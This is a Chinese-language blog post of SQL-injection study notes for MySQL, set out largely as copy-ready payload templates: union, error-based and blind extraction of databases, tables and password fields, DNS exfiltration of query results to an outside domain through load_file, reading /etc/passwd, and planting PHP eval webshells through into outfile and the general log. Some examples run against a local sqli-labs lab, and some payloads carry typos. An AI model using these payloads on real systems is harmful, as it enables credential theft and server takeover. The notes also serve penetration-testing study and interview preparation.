前言
还债ing,之前一直觉得自己sql学的不好所以最近打算重新学习一遍
参考链接
很大程度上借鉴了p喵呜大师傅的文章,包括写这篇文章的念头也是因为看了p喵呜师傅的文章,结构会比较相近但是内容是自己书写加上了自己的理解
https://www.yuque.com/pmiaowu/web_security_1/mbwgtd
基于MySQL的SQL注入
判断是否有注入
?id=1 参数后加 " ' ")) "))
单双引号,引号括号等判断页面内容是否会消失
or/and 1=1 页面正常 or/and 1=2 页面显示内容消失
or/and sleep(5) --+ / or '1'='1' 检测时间注入
and (select 1 from(select sleep(5)))
如果当前数据表没有数据上面这种方法就无法检测,这个利用子查询结构还是可以检测
联合注入(union)
获取数据库版本信息:(有的sql注入语句会有版本限制)
select version()
select @@version
获取当前用户 我这里当前用户为root@localhost
select user()
判断数据表有几列:
order by
使用用法: order by后添加数字来推算数据表的列数order by 5的时候页面正常 order by 6的时候页面回显不正常便可推断数据表有5个列
https://www.xxxx.com?id=8 order by 1
通常如果数字超过了列数,报错如下
ERROR 1054 (42S22): Unknown column '6' in 'order clause'
获取回显点:
select 1,2,3,4,5 (select 1,2,3,4,5 .... ,数据表列数,就拿上面那个例子来说 就是 select 1,2,3,4,5) 一般 id后面的参数都要改成负的例:?id=-1,为了不让正常页面显示 id=-1我们就看到回显点了,如图
为什么有的没有显示出来呢,因为sql语句总有一些数据他可以回显到我们的前端,有的则不会回显给前端
获取所有的数据库
select concat(schema_name) from information_schema.schemata;
concat() 可换成 group_concat()
web情况下:http://www.xxxx.com?id=1 union select 1,2,(select concat(schema_name) from information_schema.schemata),4,5
获取所有数据表
这里database() 也可换成当前的数据库名
select concat(table_name) from information_schema.tables where table_schema=database();
例: web情况下:http://www.xxxx.com?id=1 union select 1,2,(select concat(table_name) from information_schema.tables where table_schema=database()),4,5
获取数据表中的字段
假设获取test这个数据表中的字段
select concat(column_name) from information_schema.columns where table_name='test';
例: web情况下:http://www.xxxx.com?id=1 union select 1,2,(select concat(column_name) from information_schema.columns where table_name='test'),4,5
获取对应字段的数值
假设数据库名 security 数据表名 admin
假设字段名为passwd
select cocnat(passwd) from security.admin;
例: web情况下:http://www.xxxx.com?id=1 union select 1,2,(select cocnat(passwd) from security.admin;),4,5
报错注入
常用的SQL报错注入有三种:floor报错注入,extractvalue报错注入,updatexml报错注入
后面两种类型其实是一样的,都是利用xpath来进行报错
Floor报错注入
限制:使用了mysql_error();等输出mysql报错才可以,mysql5.x版本
记忆方法:select两个位置中一个是count(*), 另一个是floor(rand(0)*2)然后利用concat集合payload将报错带出
简单的来说就是 count() 和 floor(rand(0)2)会起一个化学反应然后报错 利用concat将我们的payload链接进去就可以了
本地环境mysql8.0+ 尝试失败发生如下报错
ERROR 1022 (23000): Can't write; duplicate key in table '/var/folders/lq/0l2cb6cs1s544474xf59p3t80000gn/T/#sql1afa_14_a'
查询了一下报错的原因是因为外键名重复了的报错,刚好我们这里的floor是利用外键重复来产生报错的,所以这个报错注入在mysql 8.0+的版本中应该是么得了
mysql 5.5.6 复现成功
模版:
and (select 1 from(select count(*),concat((PAYLOAD语句),0x3a,floor(rand(0)\*2))x from information_schema.tables group by x)a);
我蛮早之前有写过这个的原理所以这里不多赘述了
http://www.wjlshare.xyz/2019/05/13/mysql-%e6%8a%a5%e9%94%99%e6%b3%a8%e5%85%a5%e5%8e%9f%e7%90%86%e5%88%86%e6%9e%90%e4%bb%a5%e5%8f%8a%e8%bf%90%e7%94%a8/
and (select 1 from(select count(*),concat((database()),0x3a,floor(rand(0)*2))x from information_schema.tables group by x)a);
我们把加粗部分更换成对应的payload就可以了
获取数据库版本信息
and (select 1 from(select count(*),concat(version(),0x3a,floor(rand(0)*2))x from information_schema.tables group by x)a);
获取当前数据库
and (select 1 from(select count(*),concat(database(),0x3a,floor(rand(0)*2))x from information_schema.tables group by x)a);
获取用户
and (select 1 from(select count(*),concat(user(),0x3a,floor(rand(0)*2))x from information_schema.tables group by x)a);
获取数据表
第一张表,一张张的获取通过更换limit 中的数
and (select 1 from(select count(*),concat((select (table_name) from information_schema.tables where table_schema=database() limit 0,1),0x3a,floor(rand(0)*2))x from information_schema.tables group by x)a);
获取表中的列
and (select 1 from(select count(*),concat((select (column_name) from information_schema.columns where table_name='数据表名' limit 0,1),0x3a,floor(rand(0)*2))x from information_schema.tables group by x)a);
获取字段数值
and (select 1 from(select count(*),concat((select (字段名) from 数据库.表名 limit 0,1),0x3a,floor(rand(0)*2))x from information_schema.tables group by x)a);
UpdateXML报错注入
限制:开启mysql数据库报错信息显示,mysql5.1.5+,有长度限制最长32位
记忆方法: updatexml(a,b,c) 中间的位置为payload即可
updatexml(a,b,c) 如果b的位置不是xpath语法的话就会报错,所以我们可以通过报错来带出我们想要的数据
模版:
and updatexml(1,concat(0x7e,(PAYLOAD语句)),1);
获取数据库
and updatexml(1,concat(0x7e,database()),1);
结果 ERROR 1105 (HY000): XPATH syntax error: '~test'
获取数据库版本信息
and updatexml(1,concat(0x7e,version()),1);
获取当前用户
and updatexml(1,concat(0x7e,user()),1);
获取所有数据库名称
通过更换limit 0,1 中的数字来进行遍历
and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1)),1);
获取数据表
通过更换limit 0,1 中的数字来进行遍历
and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1)),1);
获取列
通过更换limit 0,1 中的数字来进行遍历
and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='test' limit 0,1)),1);
获得对应列的数值
通过更换limit 0,1 中的数字来进行遍历
and updatexml(1,concat(0x7e,(select id from 数据库.数据表 limit 0,1)),1);
Extractvalue报错注入
这是我最喜欢的一种报错注入方式
限制:开启mysql数据库报错信息显示,mysql5.1.5+,有长度限制最长32位
记忆方法:extractvalue(a,b) 第二个位置为payload即可
exractvalue(a,b) 如果b的位置不是xpath语法的话就会报错,所以我们可以通过报错来带出我们想要的数据
模版:
and extractvalue(1,concat(0x7e,(PAYLOAD语句) ));
获取数据库版本号
and extractvalue(1,concat(0x7e,version()));
ps:这里一定要加concat或group_concat 不然的话我们输出的数据是不完整的
ERROR 1105 (HY000): XPATH syntax error: '.17'
加了concat之后
ERROR 1105 (HY000): XPATH syntax error: '~8.0.17'
获取当前用户
and extractvalue(1,concat(0x7e,user()));
获取所有数据库名
通过更换limit 0,1 中的数字来进行遍历
and extractvalue(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1)));
获取数据表
通过更换limit 0,1 中的数字来进行遍历
and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1)));
获取数据表中的列
通过更换limit 0,1 中的数字来进行遍历
and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name='数据表' limit 0,1)));
获取数据表中的值
and extractvalue(1,concat(0x7e,(select id from 数据库.数据表 limit 0,1)));
uploadxml&&extractvalue绕过长度限制
之前有说这两种方式是有最长32的长度限制的
举个例子:
我们可以看到我们的password由于长度太长从而没法全部显示出来
substr函数
7fef617146 9e80d32c05 59f88b3772 458888
substr(被截取字符串,起始位置,截取几位)
注意这里有两个concat第一个concat和我们的sql注入进行结合,第二个concat将0x7和substr()进行结合确保数据显示完整
select * from admin where id=1 and extractvalue(1,concat(0x7e,(select concat(0x7e,substr(password,1,10),0x7e) from test.admin limit 0,1)));
这里之所以要用这么多concat是因为不用concat的话第一个数据会显示不出来就像下面这样
substring&&length函数
这个和第一个类型差不多
substring(被截取字符串,开始位置,截取几位),配合length()函数使用更佳
select * from admin where id=1 and extractvalue(1,concat(0x7e,(select concat(0x7e,length(password),0x7e) from test.admin limit 0,1)));
substring(password,1)从第一位开始截取,最长截取30位
substring(password,31) 31位到最后
7fef617146 9e80d32c05 59f88b3772 458888
select * from admin where id=1 and extractvalue(1,concat(0x7e,(select concat(0x7e,substring(password,1),0x7e) from test.admin limit 0,1)));
截取剩下的
select * from admin where id=1 and extractvalue(1,concat(0x7e,(select concat(0x7e,substring(password,1),0x7e) from test.admin limit 0,1)));
left函数
left(user(),4)='root'; 从左往右取四个
right函数
right(user(),9)='localhost'; 从右往左取9个
mid函数
mid(字符串,开始位置,返回字符串如果没有则返回整个字符串)
时间盲注
有时有点网站会把回显和报错都进行关闭,这时候可以使用时间盲注根据回显的时间来判断数据是否正确
时间盲注的种类有三种:sleep,benchmark,笛卡尔积
时间盲注其实基本都是换汤不换药,主要的模版不变,换的就是那些造成延迟的函数,我个人觉得利用select case when这个比较好 如下
select * from admin where id=1 and (select 1 from(select case when(user() like '%roo%') then (延时函数) else 1 end)x);
利用benchmark函数
套模版:
select * from admin where id=1 and (select 1 from(select case when(user() like '%roo%') then (select benchmark(10000000,sha(1))) else 1 end)x);
原理:将一个算式重复运算多次从而造成时间延迟
例:select benchmark(10000000,sha(1));
将she(1)执行10000000从而造成时间延迟
Ps:这里的0不要太少,0数量太少的话根本不可能出现延迟
select * from admin where id=1 and (select 1 from(select case when(substr(user(),1,1)='r') then (select benchmark(100000000,sha(1))) else 1 end)x);
利用sleep函数
套模版:
select * from admin where id=1 and (select 1 from(select case when(user() like '%roo%') then sleep(5) else 1 end)x);
利用sleep(5)来延时注入
我这里用的是select case when() then xxx else xxx end 结构来进行的延时注入
select * from admin where id=1 and (select 1 from(select case when(user() like '%roo%') then sleep(5) else 1 end)x);
同样的if条件也可以进行注入
select * from admin where id=1 and if((substring(user(),1,1))='r',sleep(5),1);
ps: 这个语句可以看到 我们数据表中有三条记录,最终sleep的时间是15秒,所以睡眠时间是数据行数乘以time的沉睡时间,但是这种在实战过程中非常不友好,一般企业数据量都是非常大的,如果利用这种语句进行注入的话很有可能导致企业那边直接gg
所以在测试过程中推荐使用sql子查询的方式来进行注入
select * from admin where id=1 and (select 1 from(select if(substring(user(),1,1)='r',sleep(5),1))x);
这样我们就可以看到延时的时间是5s了而不是15s
经过测试发现利用benchmark进行延时注入好像没有出现这种问题(后面补原因)
select * from admin where id=1 and if((substring(user(),1,1))='r',(select benchmark(10000000,sha(1))),1);
利用笛卡尔积
https://xz.aliyun.com/t/2288
这种方法又叫做heavy query
,可以通过选定一个大表来做笛卡儿积,但这种方式执行时间会几何倍数的提升,在站比较大的情况下会造成几何倍数的效果,实际利用起来非常不好用。
这样即可造成延时
SELECT count(*) FROM information_schema.columns A, information_schema.columns B;
同样的还是套模版
select * from admin where id=1 and (select 1 from(select case when(user() like '%roo%') then (SELECT count(*) FROM information_schema.columns A, information_schema.columns B) else 1 end)x);
可以看出两张表就能延迟很多秒了
if条件判断时间注入
sql中if语句的结构 if(条件,满足时回显,不满足时回显),这样会停5秒后在进行输出
select if(1=1,sleep(5),1);
模版:
and if(substring((PAYLOAD),1,1)='第一个字母',sleep(5),1);`
可以写脚本进行字母遍历,八过这样的话还是直接sqlmap吧哈哈
user()如果是root@localhost的话就会延时5秒
and if(substring(user(),1,1)='r',sleep(5),1);`
第一个表为admin 注入语句如下
and if(substring((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='a',sleep(5),1);
以此类推
and if(substring((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1)='d',sleep(5),1);
case条件判断时间注入
模版:
case when(条件语句) then sleep(5) else 1 end;
select * from admin where id=1 and/or case when(select user() like '%root%') then sleep(5) else 1 end;
拿sqli-labs第一关测试一下
http://192.168.1.4:8888/Less-1/?id=-1' and (select 1 from(select case when(select user() like '%root%') then sleep(5) else 1 end)x) %23
成功延迟了5秒
猜测原语句为 select * from security where id='$id';
我们插入拼接之后变成 select * from security where id='' and (select 1 from(select case when(select user() like '%root%') then sleep(5) else 1 end)x) %23';
单引号闭合前面的结构 %23注释后面的'确保语句结构完整
布尔盲注
布尔(boolen)盲注就是通过判断返回页面的正确与否来进行拆解数据,因为不用等待延时所以相比时间盲注速度快很多
if条件判断布尔盲注
整体和前面的时间盲注比较相似
and if(substring((PAYLOAD),1,1)='第一个字母',1=1,1=2);
简单的例子:
select * from admin where id=1 and if(substring(user(),1,1)='r',1=1,1=2);
第一个是如果正确 1=1 第二个是如果前面条件正确 1=2
可以看到返回结果完全不一样
第一个表名为a的注入语句如下:
and if(substring((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='a',1=1,1=2);
regexp正则表达式布尔盲注
利用正则表达式来进行判断
基于DNS的注入
需要重构文章结构
通过把我们的结果当作我们的域名的前缀传回
之前写过一个关于dns注入的文章
https://www.wjlshare.xyz/2019/06/02/sql%e6%b3%a8%e5%85%a5%e4%b9%8b%e5%9f%ba%e4%ba%8edns%e7%9a%84%e6%b3%a8%e5%85%a5/
主要是利用load_file这个函数,所以这个条件有点苛刻,因为需要root的权限,同时我们的load_file 要可以使用。同时这里还有一个限制就是windows才可以进行使用
https://blog.csdn.net/Auuuuuuuu/article/details/88082184
show variables like "%secure%"
secure_file_priv 空 代表允许读写目录
secure_file_priv NULL 代表不允许输入输出
secure_file_priv D:\ 代表只能在c盘进行读写
注入语句:
select load_file('\\\\',payload,'.ad.ceyc.sx\\abc');
Insert注入&Update注入
- Inser注入
有的时候我们遇到的注入点是insert语句,这时我们可以利用报错注入或时间盲注来爆出我们想要的数据
insert into admin values(1,(extractvalue(1,concat(0x7e,version()))),1);
可以得到我们数据库的版本
ERROR 1105 (HY000): XPATH syntax error: '~8.0.17'
然后来看一下web情况下我们如何进行注入,由于没学过php所以只能简陋的写出一个小例子(本地只有基于时间注入复现成功,我这里好像显示不了报错信息 后面再改改)
<?php
error_reporting(0);
$id = $_GET['id'];
$score = $_GET['score'];
$conn = new mysqli("127.0.0.1","root","你数据库的密码","你的数据库"); // 链接数据库
if($conn){
echo "success";
echo "</br>";
}else{
echo "fail"."</br>";
}
// daily是我本地数据库名 id和score分别是daily的字段
$sql = "INSERT INTO daily(id,score) VALUES ($id,$score)";
$result = $conn->query($sql);
if($result === TRUE){
echo "done";
echo "</br>";
}else{
print_r(mysqli_error($result));
}
然后我本地测试的时候的注入语句
http://127.0.0.1/sql/update.php?id=(select case when(select user() like "%r%") then sleep(5) else 1 end)&score=11
完整的sql语句是如下这样
insert into daily values(1,(select case when user() like "%r%" then sleep(5) else 1 end));
在真实环境下还是利用上面这种sleep好一些因为这样是不会进行数据的修改的。
同样的报错注入就是 把括号中的语句进行一个替换 (本地没有复现成功 后面会补上)
extractvalue(1,(concat(0x7e,(payload),0x7e)))
- update 注入
其实和insert注入差不多 也可以用过sleep来进行获取数据,这样也不会修改数据库里的信息
<?php
error_reporting(0);
// $id = $_GET['id'];
$score = $_GET['score'];
// $score= 'hhh';
$conn = new mysqli("127.0.0.1","root","你的密码","test"); // 链接数据库
if($conn){
echo "success";
echo "</br>";
}else{
echo "fail"."</br>";
}
// $sql = "SELECT * FROM daily WHERE id=$id";
$sql = "UPDATE daily SET score=($score) where id=8";
$result = $conn->query($sql);
if($result === TRUE){
echo "done";
echo "</br>";
}else{
print_r(mysqli_error($result));
}
web下的注入语句
http://127.0.0.1/sql/lab.php?score=select case when(user() like "%r%") then sleep(5) else 1 end
LIMIT处注入
版本要求 mysql<5.6.6的5.x系列
- procedure analyse
模版:
procedure analyse(extractvalue(1,concat(0x3a,PAYLOAD)),1);
爆数据库
select * from 数据表 order by id limit 0,1 procedure analyse(extractvalue(1,concat(0x3a,database())),1);
- 结合union语句
符合条件的数据库可以直接在limit后面正常的使用union进行一个拼接注入
select * from sqltest where id=1 limit 0,1 union select 1,2
结果如下
+----+---------+
| id | name
+----+---------+
| 1 | aaa
| 1 | 2
+----+---------+
select * from sqltest where id=1 limit 0,1 union select (select version()),(select version());
两处都可以进行注入
+------------+------------+
| id | name
+------------+------------+
| 1 | aaa
| 5.5.62-log | 5.5.62-log
+------------+------------+
可以看到注入成功
- 结合时间盲注
select * from sqltest where id=1 limit 0,1 union select 1,if(substring(user(),1,1)='r',sleep(5),1);`
具体步骤都和前面的一样就不过多阐述了
order by 处注入
参考:https://www.secpulse.com/archives/57197.html
mysql中的order by的作用是对数据表中的数据进行排序,正常使用情况下我们可以对我们某一列的数据进行排序
select * from admin order by id desc;
desc表示的是降序排序,所以这里我们可以看到对我们的id进行了一个降序排序
所以这里讨论的order by注入的注入点自然就是order by 后面
select * from admin order by $_GET['id'];
如何判断该注入点在order by处,一种是知道表单列名的可以利用if来进行判断
if(1=1,id,username) # 前面1=1永远为真 按照id排序
if(1=2,id,username) # 前面1=2永远为假 按照username排序
但是上面这种情况基本在实战过程中没什么用处。。(毕竟在实战过程中我们怎么可能实现知道数据表)
第二种,在不知道表的情况下根据回显来进行判断
if(1=1,1,(select+1+union+select+2)) 正常回显
if(1=2,1,(select+1+union+select+2)) 无回显
同时也可以利用延时语句来观察是否有注入
if(1=1,(select benchmark(1000000,sha(1))),1)
if(1=1,sleep(5),1) # 这个不是很推荐 在测试过程中发现会全表延迟这是实际中需要避免的问题
然后在注入过程中将最前面的 1=1 替换成payload就可以了
order by 报错注入
和普通的报错注入差不多无非就是位置不同
select * from admin order by id, updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1);
加and也是可以的
select * from admin order by 1 and updatexml(0x3e,concat(0x3e,(user())),0x3e);
Sqli-labs less 46
http://192.168.1.4:8888/Less-46/?sort=1 and extractvalue(0x3a,concat(0x3a,database()))
order by 盲注
- 时间盲注
select * from admin order by 1 RLIKE (CASE WHEN (substring(user(),1,1)='a') THEN 1 ELSE benchmark(1000000,sha(1)) END);
这里使用sleep会导致全表延迟,需要避免这种情况
可以利用if判断语句,这里举一个sqli-labs less 48的例子
http://192.168.1.4:8888/Less-48/?sort=if(substring(database(),1,1)='s',(select benchmark(1000000,sha(1))),id)
如果数据库名的第一个字母是s 就进行延迟,反之就按照id进行排序
MySQL读写文件
在SQL注入如果满足了对应的条件我们是可以直接进行shell的写入的,所以这里就在讨论一下读写文件是需要哪些前提条件
首先我们需要知道 这么一个参数 secure_file_priv 这个参数对应的数值很大程度上决定了我们能否进行读写
查看**secure_file_priv ** (5.5.53之前的版本是secure_file_priv变量 默认为空)
show variables like "%secure%";
+--------------------------+---------------+
| Variable_name | Value |
+--------------------------+---------------+
| require_secure_transport | OFF |
| secure_file_priv | NULL |
+--------------------------+---------------+
可以看到这里我们的secure_file_priv
的值为NULL 即代表不允许任何文件进行导入导出操作
- secure_file_priv NULL 不允许任何文件进行导入导出操作
- secure_file_priv 空 对导入导出操作不做任何限制
- secure_file_priv G:\ 只允许在G盘进行导入导出操作
如果要修改secure_file_priv 要在 mysql.ini (windows)/ my.cnf (linux) 文件中进行修改
其次!当前用户一定要为root用户!
select load_file('/etc/passwd');
select '<?php phpinfo(); ?>' into outfile '/var/www/shell.php';
select '<?php phpinfo(); ?>' into dumpfile '/var/www/shell.php';
Linux下写文件:
如果想要使用读写函数,必须满足以下要求:
- 当前用户是root用户
- secure_file_priv 为空 或者要写入的文件夹刚好是secure_file_priv的特定文件夹
-
写shell的文件夹必须要 777的权限不然会写入失败
- 文件大小: 必须小于max_allowed_packet
满足以上条件我们的文件才会正常写入
如果我们目标文件夹的权限不够则会报错
ERROR 1 (HY000): Can't create/write to file '/usr/2.php' (Errcode: 13)
Linux下读文件:
Linux下读文件要求就相对少一些
- 当前用户是root用户
- 目标文件可读,如下:
Windows下读文件:
- 用户root
- secure_file_priv 要为空(或指定路径为我们可以访问到的)
select load_file('C:/sql.txt');
Windows下写文件:
windows下条件就没有linux那么复杂
- 用户root
- secure_file_priv 要为空(或指定路径为我们可以访问到的)
SQL注入写shell 读文件
满足三个条件
1.要能文件读写
2.用户一定要root不然是没有权限的
3.secure_file_priv 要为空(或指定路径为我们可以访问到的)
查看**secure_file_priv **
show variables like "%secure%";
+--------------------------+---------------+
| Variable_name | Value |
+--------------------------+---------------+
| require_secure_transport | OFF |
| secure_file_priv | NULL |
+--------------------------+---------------+
可以看到这里我们的secure_file_priv
的值为NULL 即代表不允许任何文件进行导入导出操作
- secure_file_priv NULL 不允许任何文件进行导入导出操作
- secure_file_priv 空 对导入导出操作不做任何限制
- secure_file_priv G:\ 只允许在G盘进行导入导出操作
经过测试Linux下如果要写入文件,那么目标文件夹权限必须是 777 不然是写不进去
不然会出现如下报错
ERROR 1 (HY000): Can't create/write to file '/test/1.php' (Errcode: 13)
利用绝对路径写入木马
类似下面这样
select '<?php eval($_POST['pwd']); ?>' into outfile /homt/wwwroot/default/a.php
利用mysql的日志getshell (Windows)
其实原理都是相同的,把我们的木马放到我们的网站根目录下,这种情况的话比较适合于已经登陆进phpmyadmin,windows才可以用这种方式 linux下对文件路径进行一个规定只能往 /tmp/ /var/ 下写
将我们的mysql日志文件移动到我们的web目录下,然后将我们的代码引入到日志文件中,最终getshell
知道网站的绝对路径 (从一些探针文件或者phpinfo 等文件中进行一个获取)
SET GLOBAL general_log_file=ON;
SET GLOBAL general_log_file='/homt/wwwroot/default/a.php';
SELECT '<?php eval($_POST['test']); ?>';
SET GLOBAL general_log_file=OFF;
题外话:phpmyadmin getshell
Oracle SQL注入
SQL Server 注入
对于一些面试题中一些SQL注入的问题自己的看法和见解(如果有理解错误请师傅们一定要提出来 )
- SQL注入的种类
联合注入,报错注入,盲注(时间盲注,布尔盲注),宽字节注入,二次注入,堆叠注入
- 拿到数据库权限后怎么获得webshell
Windows root权限 知道网站绝对路径 secure-file-priv为空的情况下通过日志进行getshell
奇了怪了,我打开你这页,火绒直接报毒,这么狠?
这个我也不知道是什么情况,我博客只存放我的文章并没有做小动作,如果不放心的话可以去语雀观看
感谢大佬 帮助很大